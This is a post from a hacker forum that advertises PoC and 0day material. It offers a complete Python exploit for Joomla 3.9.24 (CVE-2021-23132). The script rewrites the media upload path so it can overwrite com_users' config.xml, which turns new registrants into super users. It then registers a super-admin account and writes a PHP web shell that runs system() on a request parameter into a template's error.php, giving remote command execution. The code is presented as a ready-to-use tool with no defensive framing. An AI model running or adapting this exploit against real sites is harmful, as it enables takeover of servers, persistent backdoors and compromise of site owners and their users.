黑客仓库

最全面知识的黑客论坛,全网最强大的漏洞数据聚合仓库丨黑客网站丨黑客论坛丨暗网丨红队武器库丨渗透测试丨POC/0day/Nday/1day丨网络安全丨黑客攻击丨服务器安全防御丨渗透测试入门丨网络技术交流丨蓝队丨护网丨红队丨欢迎来到黑客仓库,您可以在我们的论坛板块进行交流和学习。

立即注册账号!
Joomla 3.9.24 普通管理员RCE(CVE-2021-23132 )

POC Joomla 3.9.24 普通管理员RCE(CVE-2021-23132 )

Shacker已验证会员

黑客倉庫站長

贡献: 21%
注册
09 10, 2024
消息
186
Python:
#!/usr/bin/python3
import sys
import requests
import re
import argparse

#proxies = {"http": "http://127.0.0.1:8080","https": "http://127.0.0.1:8080"}
proxies={}
try:
    import lxml.html
except ImportError:
    print("module 'lxml' doesn't exist, type: pip3 install lxml")
    exit(0)

def writeConfigFile(filename):
    print("[+] Creating config.xml ")
    content="""<?xml version="1.0" encoding="utf-8"?>
<config>
    <fieldset
        name="user_options"
        label="COM_USERS_CONFIG_USER_OPTIONS" >
        <field
            name="allowUserRegistration"
            type="radio"
            label="COM_USERS_CONFIG_FIELD_ALLOWREGISTRATION_LABEL"
            description="COM_USERS_CONFIG_FIELD_ALLOWREGISTRATION_DESC"
            class="btn-group btn-group-yesno"
            default="1"
            >
            <option value="1">JYES</option>
            <option value="0">JNO</option>
        </field>

        <field
            name="new_usertype"
            type="usergrouplist"
            label="COM_USERS_CONFIG_FIELD_NEW_USER_TYPE_LABEL"
            description="COM_USERS_CONFIG_FIELD_NEW_USER_TYPE_DESC"
            default="2"
            checksuperusergroup="0"
        />

        <field
            name="guest_usergroup"
            type="usergrouplist"
            label="COM_USERS_CONFIG_FIELD_GUEST_USER_GROUP_LABEL"
            description="COM_USERS_CONFIG_FIELD_GUEST_USER_GROUP_DESC"
            default="1"
            checksuperusergroup="0"
        />

        <field
            name="sendpassword"
            type="radio"
            label="COM_USERS_CONFIG_FIELD_SENDPASSWORD_LABEL"
            description="COM_USERS_CONFIG_FIELD_SENDPASSWORD_DESC"
            class="btn-group btn-group-yesno"
            default="1"
            >
            <option value="1">JYES</option>
            <option value="0">JNO</option>
        </field>

        <field
            name="useractivation"
            type="list"
            label="COM_USERS_CONFIG_FIELD_USERACTIVATION_LABEL"
            description="COM_USERS_CONFIG_FIELD_USERACTIVATION_DESC"
            default="0"
            >
            <option value="0">JNONE</option>
            <option value="1">COM_USERS_CONFIG_FIELD_USERACTIVATION_OPTION_SELFACTIVATION</option>
            <option value="2">COM_USERS_CONFIG_FIELD_USERACTIVATION_OPTION_ADMINACTIVATION</option>
        </field>

        <field
            name="mail_to_admin"
            type="radio"
            label="COM_USERS_CONFIG_FIELD_MAILTOADMIN_LABEL"
            description="COM_USERS_CONFIG_FIELD_MAILTOADMIN_DESC"
            class="btn-group btn-group-yesno"
            default="0"
            >
            <option value="1">JYES</option>
            <option value="0">JNO</option>
        </field>

        <field
            name="captcha"
            type="plugins"
            label="COM_USERS_CONFIG_FIELD_CAPTCHA_LABEL"
            description="COM_USERS_CONFIG_FIELD_CAPTCHA_DESC"
            folder="captcha"
            filter="cmd"
            useglobal="true"
            >
            <option value="0">JOPTION_DO_NOT_USE</option>
        </field>

        <field
            name="frontend_userparams"
            type="radio"
            label="COM_USERS_CONFIG_FIELD_FRONTEND_USERPARAMS_LABEL"
            description="COM_USERS_CONFIG_FIELD_FRONTEND_USERPARAMS_DESC"
            class="btn-group btn-group-yesno"
            default="1"
            >
            <option value="1">JSHOW</option>
            <option value="0">JHIDE</option>
        </field>

        <field
            name="site_language"
            type="radio"
            label="COM_USERS_CONFIG_FIELD_FRONTEND_LANG_LABEL"
            description="COM_USERS_CONFIG_FIELD_FRONTEND_LANG_DESC"
            class="btn-group btn-group-yesno"
            default="0"
            showon="frontend_userparams:1"
            >
            <option value="1">JSHOW</option>
            <option value="0">JHIDE</option>
        </field>

        <field
            name="change_login_name"
            type="radio"
            label="COM_USERS_CONFIG_FIELD_CHANGEUSERNAME_LABEL"
            description="COM_USERS_CONFIG_FIELD_CHANGEUSERNAME_DESC"
            class="btn-group btn-group-yesno"
            default="0"
            >
            <option value="1">JYES</option>
            <option value="0">JNO</option>
        </field>

    </fieldset>

    <fieldset
        name="domain_options"
        label="COM_USERS_CONFIG_DOMAIN_OPTIONS"
        >

        <field
            name="domains"
            type="subform"
            label="COM_USERS_CONFIG_FIELD_DOMAINS_LABEL"
            description="COM_USERS_CONFIG_FIELD_DOMAINS_DESC"
            multiple="true"
            layout="joomla.form.field.subform.repeatable-table"
            formsource="administrator/components/com_users/models/forms/config_domain.xml"
        />
    </fieldset>

    <fieldset
        name="password_options"
        label="COM_USERS_CONFIG_PASSWORD_OPTIONS" >
        <field
            name="reset_count"
            type="integer"
            label="COM_USERS_CONFIG_FIELD_FRONTEND_RESET_COUNT_LABEL"
            description="COM_USERS_CONFIG_FIELD_FRONTEND_RESET_COUNT_DESC"
            first="0"
            last="20"
            step="1"
            default="10"
        />

        <field
            name="reset_time"
            type="integer"
            label="COM_USERS_CONFIG_FIELD_FRONTEND_RESET_TIME_LABEL"
            description="COM_USERS_CONFIG_FIELD_FRONTEND_RESET_TIME_DESC"
            first="1"
            last="24"
            step="1"
            default="1"
        />

        <field
            name="minimum_length"
            type="integer"
            label="COM_USERS_CONFIG_FIELD_MINIMUM_PASSWORD_LENGTH"
            description="COM_USERS_CONFIG_FIELD_MINIMUM_PASSWORD_LENGTH_DESC"
            first="4"
            last="99"
            step="1"
            default="4"
        />

        <field
            name="minimum_integers"
            type="integer"
            label="COM_USERS_CONFIG_FIELD_MINIMUM_INTEGERS"
            description="COM_USERS_CONFIG_FIELD_MINIMUM_INTEGERS_DESC"
            first="0"
            last="98"
            step="1"
            default="0"
        />

        <field
            name="minimum_symbols"
            type="integer"
            label="COM_USERS_CONFIG_FIELD_MINIMUM_SYMBOLS"
            description="COM_USERS_CONFIG_FIELD_MINIMUM_SYMBOLS_DESC"
            first="0"
            last="98"
            step="1"
            default="0"
        />

        <field
            name="minimum_uppercase"
            type="integer"
            label="COM_USERS_CONFIG_FIELD_MINIMUM_UPPERCASE"
            description="COM_USERS_CONFIG_FIELD_MINIMUM_UPPERCASE_DESC"
            first="0"
            last="98"
            step="1"
            default="0"
        />

        <field
            name="minimum_lowercase"
            type="integer"
            label="COM_USERS_CONFIG_FIELD_MINIMUM_LOWERCASE"
            description="COM_USERS_CONFIG_FIELD_MINIMUM_LOWERCASE_DESC"
            first="0"
            last="98"
            step="1"
            default="0"
        />

    </fieldset>

    <fieldset
        name="user_notes_history"
        label="COM_USERS_CONFIG_FIELD_NOTES_HISTORY" >

        <field
            name="save_history"
            type="radio"
            label="JGLOBAL_SAVE_HISTORY_OPTIONS_LABEL"
            description="JGLOBAL_SAVE_HISTORY_OPTIONS_DESC"
            class="btn-group btn-group-yesno"
            default="0"
            >
            <option value="1">JYES</option>
            <option value="0">JNO</option>
        </field>

        <field
            name="history_limit"
            type="number"
            label="JGLOBAL_HISTORY_LIMIT_OPTIONS_LABEL"
            description="JGLOBAL_HISTORY_LIMIT_OPTIONS_DESC"
            filter="integer"
            default="5"
            showon="save_history:1"
        />

    </fieldset>

     <fieldset
        name="massmail"
        label="COM_USERS_MASS_MAIL"
        description="COM_USERS_MASS_MAIL_DESC">

        <field
             name="mailSubjectPrefix"
             type="text"
            label="COM_USERS_CONFIG_FIELD_SUBJECT_PREFIX_LABEL"
            description="COM_USERS_CONFIG_FIELD_SUBJECT_PREFIX_DESC"
        />

         <field
             name="mailBodySuffix"
            type="textarea"
            label="COM_USERS_CONFIG_FIELD_MAILBODY_SUFFIX_LABEL"
            description="COM_USERS_CONFIG_FIELD_MAILBODY_SUFFIX_DESC"
             rows="5"
             cols="30"
        />

    </fieldset>

    <fieldset
        name="debug"
        label="COM_USERS_DEBUG_LABEL"
        description="COM_USERS_DEBUG_DESC">

        <field
            name="debugUsers"
            type="radio"
            label="COM_USERS_DEBUG_USERS_LABEL"
            description="COM_USERS_DEBUG_USERS_DESC"
            class="btn-group btn-group-yesno"
            default="1"
            >
            <option value="1">JYES</option>
            <option value="0">JNO</option>
        </field>

        <field
            name="debugGroups"
            type="radio"
            label="COM_USERS_DEBUG_GROUPS_LABEL"
            description="COM_USERS_DEBUG_GROUPS_DESC"
            class="btn-group btn-group-yesno"
            default="1"
            >
            <option value="1">JYES</option>
            <option value="0">JNO</option>
        </field>

    </fieldset>

    <fieldset name="integration"
        label="JGLOBAL_INTEGRATION_LABEL"
        description="COM_USERS_CONFIG_INTEGRATION_SETTINGS_DESC"
    >

        <field
            name="integration_sef"
            type="note"
            label="JGLOBAL_SEF_TITLE"
        />

        <field
            name="sef_advanced"
            type="radio"
            class="btn-group btn-group-yesno btn-group-reversed"
            default="0"
            label="JGLOBAL_SEF_ADVANCED_LABEL"
            description="JGLOBAL_SEF_ADVANCED_DESC"
            filter="integer"
            >
            <option value="0">JGLOBAL_SEF_ADVANCED_LEGACY</option>
            <option value="1">JGLOBAL_SEF_ADVANCED_MODERN</option>
        </field>

        <field
            name="integration_customfields"
            type="note"
            label="JGLOBAL_FIELDS_TITLE"
        />

        <field
            name="custom_fields_enable"
            type="radio"
            label="JGLOBAL_CUSTOM_FIELDS_ENABLE_LABEL"
            description="JGLOBAL_CUSTOM_FIELDS_ENABLE_DESC"
            class="btn-group btn-group-yesno"
            default="1"
            >
            <option value="1">JYES</option>
            <option value="0">JNO</option>
        </field>

    </fieldset>

    <fieldset
        name="permissions"
        label="JCONFIG_PERMISSIONS_LABEL"
        description="JCONFIG_PERMISSIONS_DESC"
        >

        <field
            name="rules"
            type="rules"
            label="JCONFIG_PERMISSIONS_LABEL"
            filter="rules"
            validate="rules"
            component="com_users"
            section="component"
        />

    </fieldset>
</config>
"""
    f = open(filename, "w")
    f.write(content)
    f.close

def extract_token(resp):
    match = re.search(r'name="([a-f0-9]{32})" value="1"', resp.text, re.S)
    if match is None:
        print("[-] Cannot find CSRF token!\n")
        return None
    return match.group(1)


def try_admin_login(sess, url, uname, upass):
    admin_url = url + '/administrator/index.php'
    print('[+] Getting token for Manager login')
    resp = sess.get(admin_url, verify=True)
    token = extract_token(resp)
    if not token:
        return False
    print('[+] Logging in to Admin')
    data = {
        'username': uname,
        'passwd': upass,
        'task': 'login',
        token: '1'
    }
    resp = sess.post(admin_url, data=data, verify=True)
    if 'task=profile.edit' not in resp.text:
        print('[!] Admin Login Failure!')
        return None
    print('[+] Admin Login Successfully!')
    return True


def check_admin(sess, url):
    url_check = url + '/administrator/index.php?option=com_config&view=component&component=com_media&path='
    resp = sess.get(url_check, verify=True)
    token = extract_token(resp)
    if not token:
        print ("[-] You are not admin account!")
        sys.exit()
    return token


def set_media_options(url, sess, dir, token):
    print("[+] Setting media options")
    newdata = {
        'jform[upload_extensions]': 'xml,bmp,csv,doc,gif,ico,jpg,jpeg,odg,odp,ods,odt,pdf,png,ppt,swf,txt,xcf,xls,BMP,CSV,DOC,GIF,ICO,JPG,JPEG,ODG,ODP,ODS,ODT,PDF,PNG,PPT,SWF,TXT,XCF,XLS',
        'jform[upload_maxsize]': 10,
        'jform[file_path]': dir,
        'jform[image_path]': dir,
        'jform[restrict_uploads]': 0,
        'jform[check_mime]': 0,
        'jform[image_extensions]': 'bmp,gif,jpg,png',
        'jform[ignore_extensions]': '',
        'jform[upload_mime]': 'image/jpeg,image/gif,image/png,image/bmp,application/x-shockwave-flash,application/msword,application/excel,application/pdf,application/powerpoint,text/plain,application/x-zip',
        'jform[upload_mime_illegal]': 'text/html',
        'id': 13,
        'component': 'com_media',
        'task': 'config.save.component.apply',
        token: 1
    }
    newdata['task'] = 'config.save.component.apply'
    config_url = url + '/administrator/index.php?option=com_config'
    resp = sess.post(config_url, data=newdata, verify=True)
    if 'jform[upload_extensions]' not in resp.text:
        print('[!] Maybe failed to set media options...')
        return False
    return True


def traversal(sess, url):
    shell_url = url + '/administrator/index.php?option=com_media&view=mediaList&tmpl=component&folder='
    resp = sess.get(shell_url, verify=True)
    page = resp.text.encode('utf-8')
    html = lxml.html.fromstring(page)
    files = html.xpath("//input[@name='rm[]']/@value")
    for file in files:
        print (file)
    pass


def removeFile(sess, url, filename, token):
    remove_path = url + '/administrator/index.php?option=com_media&task=file.delete&tmpl=index&' + token + '=1&folder=&rm[]=' + filename
    msg = sess.get(remove_path, verify=True,proxies=proxies)
    page = msg.text.encode('utf-8')
    html = lxml.html.fromstring(page)
    file_remove = html.xpath("//div[@class='alert-message']/text()[1]")
    print ('\n' + '[Result]: ' + file_remove[-1])


def upload_file(sess, url, file, token):
    print("[+] Uploading config.xml")
    filename = "config.xml"
    url = url + '/administrator/index.php?option=com_media&task=file.upload&tmpl=component&' + token + '=1&format=html&folder='
    files = {
        'Filedata[]': (filename, file, 'text/xml')
    }
    data = dict(folder="")
    resp = sess.post(url, files=files, data=data, verify=True,proxies=proxies)
    if filename not in resp.text:
        print("[!] Failed to upload file!")
        return False
    print("[+] Exploit Successfully!")
    return True


def set_users_option(sess, url, token):
    newdata = {
        'jform[allowUserRegistration]': 1,
        'jform[new_usertype]': 8,
        'jform[guest_usergroup]': 8,
        'jform[sendpassword] ': 0,
        'jform[useractivation]': 0,
        'jform[mail_to_admin]': 0,
        'id': 25,
        'component': 'com_users',
        'task': 'config.save.component.apply',
        token: 1
    }
    newdata['task'] = 'config.save.component.apply'
    config_url = url + '/administrator/index.php?option=com_config'
    resp = sess.post(config_url, data=newdata, verify=True)
    if 'Configuration saved.' not in resp.text:
        print('[!] Could not save data. Error: Save not permitted.')
        return False
    return True


def create_superuser(sess, url, username, password, email):
    resp = sess.get(url + "/index.php?option=com_users&view=registration", verify=True)
    token = extract_token(resp)
    data = {
        # Form data
        'jform[name]': username,
        'jform[username]': username,
        'jform[password1]': password,
        'jform[password2]': password,
        'jform[email1]': email,
        'jform[email2]': email,
        'jform[option]': 'com_users',
        'jform[task]': 'registration.register',
        token: '1',
    }
    url_post = "/index.php/component/users/?task=registration.register&Itemid=101"
    sess.post(url + url_post, data=data, verify=True)
    sess.get(url + "/administrator/index.php?option=com_login&task=logout&" + token + "=1", verify=True)
    newsess = requests.Session()
    if try_admin_login(newsess, url, username, password):
        print ("[+] Now, you are super-admin!!!!!!!!!!!!!!!!" + "\n[+] Your super-admin account: \n[+] USERNAME: " + username + "\n[+] PASSWORD: " + password)
        return newsess
    else:
        print ("[-] Sorry,exploit fail!")
    return None


def setOption(url, sess, usuper, psuper, esuper, token):
    print ("Superadmin Creation:")
    #  folder contains config.xml
    dir = './administrator/components/com_users'
    filename = 'config.xml'
    set_media_options(url, sess, dir, token)
    traversal(sess, url)
    removeFile(sess, url, filename, token)
    f = open("config.xml", "rb")
    upload_file(sess, url, f, token)
    set_users_option(sess, url, token)

def rce(sess, url, cmd, token):
    filename = 'error.php'
    shlink = url + '/administrator/index.php?option=com_templates&view=template&id=506&file=506&file=L2Vycm9yLnBocA%3D%3D'
    shdata_up = {
        'jform[source]': "<?php echo 'Hacked by HK\n' ;system($_GET['cmd']); ?>",
        'task': 'template.apply',
        token: '1',
        'jform[extension_id]': '506',
        'jform[filename]': '/' + filename
    }
    sess.post(shlink, data=shdata_up,proxies=proxies)
    path2shell = '/templates/protostar/error.php?cmd=' + cmd
    # print '[+] Shell is ready to use: ' + str(path2shell)
    print ('[+] Checking:')
    shreq = sess.get(url + path2shell,proxies=proxies)
    shresp = shreq.text
    print (shresp + '[+] Shell link: \n' + (url + path2shell))
    print ('[+] Module finished.')


def main():
    # Construct the argument parser
    ap = argparse.ArgumentParser()
    # Add the arguments to the parser
    ap.add_argument("-url", "--url", required=True,
                    help=" URL for your Joomla target")
    ap.add_argument("-u", "--username", required=True,
                    help="username")
    ap.add_argument("-p", "--password", required=True,
                    help="password")
    ap.add_argument("-dir", "--directory", required=False, default='./',
                    help="directory")
    ap.add_argument("-rm", "--remove", required=False,
                    help="filename")
    ap.add_argument("-rce", "--rce", required=False, default="0",
                    help="RCE's mode is 1 to turn on")
    ap.add_argument("-cmd", "--command", default="whoami",
                    help="command")
    ap.add_argument("-usuper", "--usernamesuper", default="hk",
                    help="Super's username")
    ap.add_argument("-psuper", "--passwordsuper", default="12345678",
                    help="Super's password")
    ap.add_argument("-esuper", "--emailsuper", default="[email protected]",
                    help="Super's Email")
    args = vars(ap.parse_args())
    # target
    url = format(str(args['url']))
    print ('[+] Your target: ' + url)
    # username
    uname = format(str(args['username']))
    # password
    upass = format(str(args['password']))
    # directory
    dir = format(str(args['directory']))
    # init
    sess = requests.Session()
    # admin login
    if (try_admin_login(sess, url, uname, upass) == None): sys.exit()
    # get token
    token = check_admin(sess, url)
    # set options
    set_media_options(url, sess, dir, token)
    print ("Directory mode:")
    traversal(sess, url)
    if ap.parse_args().remove:
        print ("\nRemove file mode: ")
        filename = format(str(args['remove']))
        removeFile(sess, url, filename, token)
    # check option superadmin creation
    # username of superadmin
    usuper = format(str(args['usernamesuper']))
    # password of superadmin
    psuper = format(str(args['passwordsuper']))
    # email of superadmin
    esuper = format(str(args['emailsuper']))
    # RCE mode
    if (format(str(args['rce'])) == "1"):
        print ("\nRCE mode:\n")
        # command
        filename="config.xml"
        writeConfigFile(filename)
        command = format(str(args['command']))
        setOption(url, sess, usuper, psuper, esuper, token)
         # superadmin creation
        newsess = create_superuser(sess, url, usuper, psuper, esuper)
        if newsess != None :
            # get token
            newtoken = check_admin(newsess, url)
            rce(newsess, url, command, newtoken)

if __name__ == "__main__":
    sys.exit(main())
 
后退
顶部